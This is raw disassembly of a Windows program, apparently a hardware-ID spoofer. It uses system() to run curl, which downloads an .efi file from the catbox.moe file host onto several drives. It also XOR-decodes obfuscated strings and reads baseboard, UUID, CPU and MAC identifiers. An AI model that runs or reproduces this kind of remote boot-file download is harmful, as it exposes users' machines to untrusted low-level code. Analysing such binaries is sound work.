lea rcx, str.curl___silent_https:__files.catbox.moe_gwhkv2.efi___output_E:_speed.efi
jmp 0x14005056e
mov r9d, 0x40
lea r8, str.Notification
lea rdx, str.Downloading_EFI_Files_To_Drive_D:_Please_Wait
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, str.curl___silent_https:__files.catbox.moe_gwhkv2.efi___output_D:_speed.efi
jmp 0x14005056e
mov r9d, 0x40
lea r8, str.Notification
lea rdx, str.Downloading_EFI_Files_To_Drive_A:_Please_Wait
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, str.curl___silent_https:__files.catbox.moe_gwhkv2.efi___output_A:_speed.efi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Done__Now_Follow_The_Rest_Of_The_Steps
mov r9d, 0x40
lea r8, str.Notification
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.14000aca0
mov eax, dword [str.U_4]
lea rcx, [rbp - 0x40]
movss xmm2, dword [0x140197984]
movss xmm0, dword [0x14015f5e0]
addss xmm2, dword [0x14015f618]
movss xmm3, dword [0x14015f620]
movss xmm1, dword [0x14015f630]
mov dword [rbp - 0x40], eax
movzx eax, byte [0x14015f320]
xor byte [rbp - 0x3f], 0x31
xor al, 0x34
xor byte [rbp - 0x3e], 0x32
xor byte [rbp - 0x3d], 0x33
movss dword [rsp + 0x20], xmm0
mov byte [rbp - 0x40], Ordinal_79
mov byte [rbp - 0x3c], al
call fcn.140033ce0
movzx ecx, word [0x14015f250]
lea rdx, [0x140199230]
movzx eax, byte [0x14015f252]
movsd xmm0, qword [0x14015f248]
xor al, 0x3a
movss xmm2, dword [0x140197984]
addss xmm2, dword [0x14015f57c]
movss xmm3, dword [0x14015f5e8]
movsd qword [rbp - 0x20], xmm0
xor byte [rbp - 0x1f], 0x31
xor byte [rbp - 0x1e], 0x32
xor byte [rbp - 0x1d], 0x33
xor byte [rbp - 0x1c], 0x34
xor byte [rbp - 0x1b], 0x35
xor byte [rbp - 0x1a], 0x36
xor byte [rbp - 0x19], 0x37
mov word [rbp - 0x18], cx
xor cl, 0x38
xor byte [rbp - 0x17], 0x39
mov byte [rbp - 0x16], al
mov byte [rbp - 0x18], cl
mov rcx, qword [0x140198ab0]
mov byte [rbp - 0x20], 0x54
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
lea rcx, [rbp - 0x20]
movss xmm1, dword [rax + 0x24]
movss xmm0, dword [rax + 0x20]
subss xmm1, dword [rax + 0x88]
subss xmm0, dword [rax + 0x84]
mov byte [rax + 0x141], 1
addss xmm1, xmm2
addss xmm0, dword [0x14015f60c]
movss dword [rax + 0x104], xmm1
movss dword [rax + 0x100], xmm0
call fcn.1400330f0
mov eax, dword [str.s_WRZ5]
mov rcx, qword [0x140198ab0]
movss xmm2, dword [0x140197984]
mov dword [rbp + 0x140], eax
addss xmm2, xmm10
xor byte [rbp + 0x141], 0x31
xor byte [rbp + 0x142], 0x32
xor byte [rbp + 0x143], 0x33
movzx eax, word [0x14015f414]
mov word [rbp + 0x144], ax
xor al, 0x34
xor byte [rbp + 0x145], 0x35
mov byte [rbp + 0x144], al
mov rax, qword [rcx + 0x3ef0]
mov byte [rbp + 0x140], 0x43
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mov r8, qword [rax + 0x298]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
movss xmm3, dword [0x14015f5fc]
addss xmm1, xmm2
lea rdx, [0x140199231]
mov byte [rax + 0x141], 1
lea rcx, [rbp + 0x140]
addss xmm0, dword [0x14015f60c]
movss dword [rax + 0x104], xmm1
movss dword [rax + 0x100], xmm0
call fcn.1400330f0
mov eax, dword [str.sw4]
movss xmm3, dword [0x140197984]
addss xmm3, dword [0x14015f5c0]
mov dword [rbp + 0x150], eax
movzx eax, byte [0x14015f484]
xor byte [rbp + 0x151], 0x31
xor al, 0x34
xor byte [rbp + 0x152], 0x32
xor byte [rbp + 0x153], 0x33
cmp byte [0x14015f1af], 0
mov byte [rbp + 0x154], al
mov rax, qword [0x14015f1a8]
mov qword [rbp + 0x270], rax
mov byte [rbp + 0x150], Ordinal_79
je 0x140050953
mov r8d, esi
cmp r14d, 2
jl 0x140050914
movd eax, xmm7
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm13
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x270]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x270], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm11
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x274]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x274], xmm2
jmp 0x140050953
lea r9, [rbp + 0x270]
nop dword [rax + rax]
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140050920
movss xmm0, dword [0x14015f614]
lea rdx, [rbp + 0x150]
movss xmm2, dword [0x14015f584]
lea rcx, [rbp + 0x270]
movss dword [rsp + 0x28], xmm6
movss dword [rsp + 0x20], xmm0
call fcn.140032360
test al, al
je 0x1400509fe
mov rcx, rbx
call fcn.140127260
lea rcx, [rbp + 0x418]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x1400586d0]
xor ecx, ecx
mov dword [rsp + 0x20], esi
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x410], rax
test rax, rax
je 0x140052da5
cmp dword [rbp + 0x418], 0
je 0x140052d9c
movaps xmm0, xmmword [rbp + 0x410]
lea rcx, [rbp + 0x290]
movdqa xmmword [rbp + 0x290], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140052d9c
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x410], xmm0
call fcn.14000aca0
mov rdx, qword [rbp + 0x2d8]
cmp rdx, 0xf
jbe 0x140050a44
mov rcx, qword [rbp + 0x2c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050a3f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052db7
call fcn.1401275b4
mov qword [rbp + 0x2d0], rsi
mov qword [rbp + 0x2d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2c0], 0
cmp r13, 0xf
jbe 0x140050a95
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140050a8d
mov r12, qword [r12 - 8]
add rdx, 0x27
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052db7
mov rcx, r12
call fcn.1401275b4
mov r13d, dword [rbp + 0x14]
cmp dword [0x14019910c], 3
jne 0x14005287b
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsd xmm0, qword [str.cHAGQX_YV:]
test ax, ax
movzx eax, word [0x14015f388]
movss xmm2, dword [0x140197984]
addss xmm2, dword [0x14015f5c8]
mov word [rbp - 0x78], ax
movzx eax, byte [0x14015f38a]
movsd qword [rbp - 0x80], xmm0
jns 0x140050aef
mov dword [0x14019910c], 2
movss xmm0, dword [0x14015f5f0]
lea rcx, [rbp - 0x80]
movss xmm3, dword [0x14015f64c]
xor al, 0x3a
movss xmm1, dword [0x14015f5a4]
xor byte [rbp - 0x7f], 0x31
xor byte [rbp - 0x7e], 0x32
xor byte [rbp - 0x7d], 0x33
xor byte [rbp - 0x7c], 0x34
xor byte [rbp - 0x7b], 0x35
xor byte [rbp - 0x7a], 0x36
xor byte [rbp - 0x79], 0x37
xor byte [rbp - 0x78], 0x38
xor byte [rbp - 0x77], 0x39
movss dword [rsp + 0x20], xmm0
mov byte [rbp - 0x76], al
mov byte [rbp - 0x80], 0x53
call fcn.140033ce0
mov r15, qword [0x140198cc0]
movabs rcx, 0x7fffffffffffffff
movups xmm6, xmmword [0x140199178]
mov r12, qword [0x140198af0]
mov rax, rcx
sub rax, r15
cmp rax, 0x19
jb 0x140052e4a
cmp qword [0x140198cc8], 0xf
lea r14, [0x140198cb0]
mov qword [rsp + 0x70], rsi
lea rbx, [rsp + 0x60]
cmova r14, qword [0x140198cb0]
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x78], rsi
xorps xmm0, xmm0
lea rsi, [r15 + 0x19]
movups xmmword [rsp + 0x60], xmm0
cmp rsi, rdi
jbe 0x140050c44
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x140050be8
movabs rax, 0x8000000000000000
mov rdi, rcx
add rax, 0x27
jmp 0x140050c18
movss xmm9, dword [0x14015f590]
movss xmm10, dword [0x14015f5b0]
jmp 0x140050a99
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140050c02
xor ebx, ebx
jmp 0x140050c3f
cmp rcx, 0x1000
jb 0x140050c37
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140052e5c
mov rcx, rax
call fcn.140127260
test rax, rax
je 0x140052dbe
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140050c3f
call fcn.140127260
mov rbx, rax
mov qword [rsp + 0x60], rbx
movups xmm0, xmmword [str.BaseBoard_Manufacturer_]
mov qword [rsp + 0x70], rsi
lea rcx, [rbx + 0x19]
mov qword [rsp + 0x78], rdi
mov r8, r15
movups xmmword [rbx], xmm0
mov rdx, r14
movsd xmm0, qword [0x14015ee78]
movsd qword [rbx + 0x10], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x18], al
call sub.VCRUNTIME140.dll_memcpy
movss xmm2, dword [0x14015f5cc]
lea rax, [rbp + 0x290]
mov byte [rbx + rsi], 0
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
mov r9, r12
mov qword [rsp + 0x28], rax
movaps xmm1, xmm10
cmova rcx, qword [rsp + 0x60]
movss dword [rsp + 0x20], xmm9
movdqa xmmword [rbp + 0x290], xmm6
call fcn.140033770
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140050cff
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050cfa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052dbe
call fcn.1401275b4
mov r14, qword [0x140198c00]
xor edx, edx
movss xmm6, dword [0x140197984]
movabs rcx, 0x7fffffffffffffff
movups xmm7, xmmword [0x140199178]
mov r12, qword [0x140198af0]
mov rax, rcx
addss xmm6, dword [0x14015f5dc]
sub rax, r14
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], dl
cmp rax, 0x14
jb 0x140052ecb
cmp qword [0x140198c08], 0xf
lea r15, [0x140198bf0]
lea rsi, [r14 + 0x14]
mov qword [rbp + 0x280], rdx
cmova r15, qword [0x140198bf0]
lea rbx, [rbp + 0x270]
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x288], rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
cmp rsi, rdi
jbe 0x140050e14
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x140050db5
movabs rax, 0x8000000000000000
mov rdi, rcx
add rax, 0x27
jmp 0x140050de6
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140050dd0
mov rbx, rdx
jmp 0x140050e0d
cmp rcx, 0x1000
jb 0x140050e05
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140052e62
mov rcx, rax
call fcn.140127260
test rax, rax
je 0x140052dc5
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140050e0d
call fcn.140127260
mov rbx, rax
mov qword [rbp + 0x270], rbx
movups xmm0, xmmword [str.BaseBoard_Product_]
mov qword [rbp + 0x280], rsi
mov r8, r14
mov qword [rbp + 0x288], rdi
mov rdx, r15
movups xmmword [rbx], xmm0
mov ecx, dword [0x14015ee98]
mov dword [rbx + 0x10], ecx
lea rcx, [rbx + 0x14]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
lea rax, [rbp + 0x290]
cmp qword [rbp + 0x288], 0xf
lea rcx, [rbp + 0x270]
mov qword [rsp + 0x28], rax
mov r9, r12
cmova rcx, qword [rbp + 0x270]
movaps xmm2, xmm6
movaps xmm1, xmm10
movss dword [rsp + 0x20], xmm9
movdqa xmmword [rbp + 0x290], xmm7
call fcn.140033770
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x140050eca
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050ec5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052dc5
call fcn.1401275b4
mov r14, qword [0x140198c40]
xor edx, edx
movss xmm6, dword [0x140197984]
movabs rcx, 0x7fffffffffffffff
movups xmm7, xmmword [0x140199178]
mov r12, qword [0x140198af0]
mov rax, rcx
addss xmm6, dword [0x14015f5e8]
sub rax, r14
mov qword [rbp + 0x280], rdx
mov qword [rbp + 0x288], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x270], dl
cmp rax, 0x1a
jb 0x140052ec5
cmp qword [0x140198c48], 0xf
lea r15, [0x140198c30]
lea rsi, [r14 + 0x1a]
mov qword [rsp + 0x70], rdx
cmova r15, qword [0x140198c30]
lea rbx, [rsp + 0x60]
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x78], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
cmp rsi, rdi
jbe 0x140050fdb
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x140050f7e
movabs rax, 0x8000000000000000
mov rdi, rcx
add rax, 0x27
jmp 0x140050faf
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140050f99
mov rbx, rdx
jmp 0x140050fd6
cmp rcx, 0x1000
jb 0x140050fce
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140052e68
mov rcx, rax
call fcn.140127260
test rax, rax
je 0x140052dcc
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140050fd6
call fcn.140127260
mov rbx, rax
mov qword [rsp + 0x60], rbx
movups xmm0, xmmword [str.BaseBoard_Serial_Number_]
mov qword [rsp + 0x70], rsi
lea rcx, [rbx + 0x1a]
mov qword [rsp + 0x78], rdi
mov r8, r14
movups xmmword [rbx], xmm0
mov rdx, r15
movsd xmm0, qword [0x14015eeb0]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [0x14015eeb8]
mov word [rbx + 0x18], ax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
lea rax, [rbp + 0x290]
cmp qword [rsp + 0x78], 0xf
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov r9, r12
cmova rcx, qword [rsp + 0x60]
movaps xmm2, xmm6
movaps xmm1, xmm10
movss dword [rsp + 0x20], xmm9
movdqa xmmword [rbp + 0x290], xmm7
call fcn.140033770
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140051092
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005108d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052dcc
call fcn.1401275b4
mov r14, qword [0x140199058]
xor edx, edx
movss xmm6, dword [0x140197984]
movabs rcx, 0x7fffffffffffffff
movups xmm7, xmmword [0x140199178]
mov r12, qword [0x140198af0]
mov rax, rcx
addss xmm6, dword [0x14015f5f4]
sub rax, r14
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], dl
cmp rax, 7
jb 0x140052ebf
cmp qword [0x140199060], 0xf
lea r15, [0x140199048]
lea rsi, [r14 + 7]
mov qword [rbp + 0x280], rdx
cmova r15, qword [0x140199048]
lea rbx, [rbp + 0x270]
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x288], rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
cmp rsi, rdi
jbe 0x1400511a7
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x140051148
movabs rax, 0x8000000000000000
mov rdi, rcx
add rax, 0x27
jmp 0x140051179
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140051163
mov rbx, rdx
jmp 0x1400511a0
cmp rcx, 0x1000
jb 0x140051198
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140052e6e
mov rcx, rax
call fcn.140127260
test rax, rax
je 0x140052dd3
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1400511a0
call fcn.140127260
mov rbx, rax
mov qword [rbp + 0x270], rbx
mov rcx, qword [str.UUID_]
mov r8, r14
mov qword [rbp + 0x280], rsi
mov rdx, r15
mov qword [rbp + 0x288], rdi
mov dword [rbx], ecx
movzx ecx, word [0x14015eec4]
mov word [rbx + 4], cx
lea rcx, [rbx + 7]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 6], al
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
lea rax, [rbp + 0x290]
cmp qword [rbp + 0x288], 0xf
lea rcx, [rbp + 0x270]
mov qword [rsp + 0x28], rax
mov r9, r12
cmova rcx, qword [rbp + 0x270]
movaps xmm2, xmm6
movaps xmm1, xmm10
movss dword [rsp + 0x20], xmm9
movdqa xmmword [rbp + 0x290], xmm7
call fcn.140033770
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x140051268
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051263
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052dd3
call fcn.1401275b4
mov r14, qword [0x140198be0]
xor edx, edx
movss xmm6, dword [0x140197984]
movabs rcx, 0x7fffffffffffffff
movups xmm7, xmmword [0x140199178]
mov r12, qword [0x140198af0]
mov rax, rcx
addss xmm6, dword [0x14015f600]
sub rax, r14
mov qword [rbp + 0x280], rdx
mov qword [rbp + 0x288], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x270], dl
cmp rax, 0x14
jb 0x140052eb9
cmp qword [0x140198be8], 0xf
lea r15, [0x140198bd0]
lea rsi, [r14 + 0x14]
mov qword [rsp + 0x70], rdx
cmova r15, qword [0x140198bd0]
lea rbx, [rsp + 0x60]
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x78], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
cmp rsi, rdi
jbe 0x140051379
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x14005131c
movabs rax, 0x8000000000000000
mov rdi, rcx
add rax, 0x27
jmp 0x14005134d
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140051337
mov rbx, rdx
jmp 0x140051374
cmp rcx, 0x1000
jb 0x14005136c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140052e74
mov rcx, rax
call fcn.140127260
test rax, rax
je 0x140052dda
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140051374
call fcn.140127260
mov rbx, rax
mov qword [rsp + 0x60], rbx
movups xmm0, xmmword [str.CPU_Serial_Number_]
mov qword [rsp + 0x70], rsi
mov r8, r14
mov qword [rsp + 0x78], rdi
mov rdx, r15
movups xmmword [rbx], xmm0
mov ecx, dword [0x14015eed8]
mov dword [rbx + 0x10], ecx
lea rcx, [rbx + 0x14]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
lea rax, [rbp + 0x290]
cmp qword [rsp + 0x78], 0xf
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov r9, r12
cmova rcx, qword [rsp + 0x60]
movaps xmm2, xmm6
movaps xmm1, xmm10
movss dword [rsp + 0x20], xmm9
movdqa xmmword [rbp + 0x290], xmm7
call fcn.140033770
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140051421
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005141c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052dda
call fcn.1401275b4
mov r14, qword [0x140198c80]
xor edx, edx
movss xmm6, dword [0x140197984]
movabs rcx, 0x7fffffffffffffff
movups xmm7, xmmword [0x140199178]
mov r12, qword [0x140198af0]
mov rax, rcx
addss xmm6, dword [0x14015f608]
sub rax, r14
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], dl
cmp rax, 0xe
jb 0x140052eb3
cmp qword [0x140198c88], 0xf
lea r15, [0x140198c70]
lea rsi, [r14 + 0xe]
mov qword [rbp + 0x280], rdx
cmova r15, qword [0x140198c70]
lea rbx, [rbp + 0x270]
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x288], rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
cmp rsi, rdi
jbe 0x140051536
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x1400514d7
movabs rax, 0x8000000000000000
mov rdi, rcx
add rax, 0x27
jmp 0x140051508
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1400514f2
mov rbx, rdx
jmp 0x14005152f
cmp rcx, 0x1000
jb 0x140051527
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140052e7a
mov rcx, rax
call fcn.140127260
test rax, rax
je 0x140052de1
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14005152f
call fcn.140127260
mov rbx, rax
mov qword [rbp + 0x270], rbx
movsd xmm0, qword [str.MAC_Address_]
mov r8, r14
mov qword [rbp + 0x280], rsi
mov rdx, r15
mov qword [rbp + 0x288], rdi
movsd qword [rbx], xmm0
mov ecx, dword [0x14015eee8]
mov dword [rbx + 8], ecx
lea rcx, [rbx + 0xe]
movzx eax, word [0x14015eeec]
mov word [rbx + 0xc], ax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
lea rax, [rbp + 0x290]
cmp qword [rbp + 0x288], 0xf
lea rcx, [rbp + 0x270]
mov qword [rsp + 0x28], rax
mov r9, r12
cmova rcx, qword [rbp + 0x270]
movaps xmm2, xmm6
movaps xmm1, xmm10
movss dword [rsp + 0x20], xmm9
movdqa xmmword [rbp + 0x290], xmm7
call fcn.140033770
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x1400515f9
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400515f4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052de1
call fcn.1401275b4
call fcn.14000aca0
mov eax, dword [str.XAP4]
lea rcx, [rbp - 0x38]
movss xmm2, dword [0x140197984]
movss xmm0, dword [0x14015f5e0]
movss xmm10, dword [0x14015f618]
movss xmm6, dword [0x14015f5a4]
addss xmm2, xmm10
movss xmm3, dword [0x14015f620]
movaps xmm1, xmm6
mov dword [rbp - 0x38], eax
movzx eax, byte [0x14015f280]
xor byte [rbp - 0x37], 0x31
xor al, 0x34
xor byte [rbp - 0x36], 0x32
xor byte [rbp - 0x35], 0x33
movss dword [rsp + 0x20], xmm0
mov byte [rbp - 0x38], Ordinal_79
mov byte [rbp - 0x34], al
call fcn.140033ce0
movzx eax, byte [0x14015f2a2]
movsd xmm0, qword [0x14015f298]
xor al, 0x3a
movzx ecx, word [0x14015f2a0]
movss xmm3, dword [0x140197984]
movsd qword [rbp - 0x10], xmm0
addss xmm3, xmm6
xor byte [rbp - 0xf], 0x31
xor byte [rbp - 0xe], 0x32
xor byte [rbp - 0xd], 0x33
xor byte [rbp - 0xc], 0x34
xor byte [rbp - 0xb], 0x35
xor byte [rbp - 0xa], 0x36
xor byte [rbp - 9], 0x37
movsd xmm0, qword [0x14015f1b8]
mov word [rbp - 8], cx
xor cl, 0x38
xor byte [rbp - 7], 0x39
cmp byte [reloc.WS2_32.dll_gethostname], 0
mov byte [rbp - 6], al
movzx eax, word [0x14015f1c0]
mov word [rbp - 0x68], ax
mov byte [rbp - 0x10], 0x46
mov byte [rbp - 8], cl
movsd qword [rbp - 0x70], xmm0
je 0x140051706
xor byte [rbp - 0x6f], 0x31
xor byte [rbp - 0x6e], 0x32
xor byte [rbp - 0x6d], 0x33
xor byte [rbp - 0x6c], 0x34
xor byte [rbp - 0x6b], 0x35
xor byte [rbp - 0x6a], 0x36
xor byte [rbp - 0x69], 0x37
xor byte [rbp - 0x68], 0x38
xor byte [rbp - 0x67], 0x39
mov byte [rbp - 0x70], reloc.WLDAP32.dll_Ordinal_35
movss xmm0, dword [0x14015f614]
lea rdx, [rbp - 0x10]
movss xmm7, dword [0x14015f5ac]
lea rcx, [rbp - 0x70]
movss xmm2, dword [0x14015f584]
movss dword [rsp + 0x28], xmm7
movss dword [rsp + 0x20], xmm0
call fcn.140032360
test al, al
je 0x1400517b8
mov ecx, 1
call fcn.140127260
lea rcx, [rbp + 0x428]
xor esi, esi
mov qword [rsp + 0x28], rcx
lea r8, [0x140058720]
xor ecx, ecx
mov dword [rsp + 0x20], esi
mov r9, rax
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x420], rax
test rax, rax
je 0x140052df4
cmp dword [rbp + 0x428], esi
je 0x140052de8
movaps xmm0, xmmword [rbp + 0x420]
lea rcx, [rbp + 0x290]
movdqa xmmword [rbp + 0x290], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140052de8
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x420], xmm0
jmp 0x1400517ba
xor esi, esi
cmp byte [reloc.WS2_32.dll_gethostname], 0
movsd xmm0, qword [0x14015f370]
movzx eax, word [0x14015f378]
movss xmm3, dword [0x140197984]
mov ecx, dword [0x14015f400]
addss xmm3, dword [0x14015f5c0]
movsd qword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14015f3f8]
mov word [rbp - 0x48], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rbp + 0x28], xmm0
mov byte [rbp + 0x34], al
mov dword [rbp + 0x30], ecx
je 0x140051833
xor byte [rbp - 0x4f], 0x31
xor byte [rbp - 0x4e], 0x32
xor byte [rbp - 0x4d], 0x33
xor byte [rbp - 0x4c], 0x34
xor byte [rbp - 0x4b], 0x35
xor byte [rbp - 0x4a], 0x36
xor byte [rbp - 0x49], 0x37
xor byte [rbp - 0x48], 0x38
xor byte [rbp - 0x47], 0x39
mov byte [rbp - 0x50], Ordinal_79
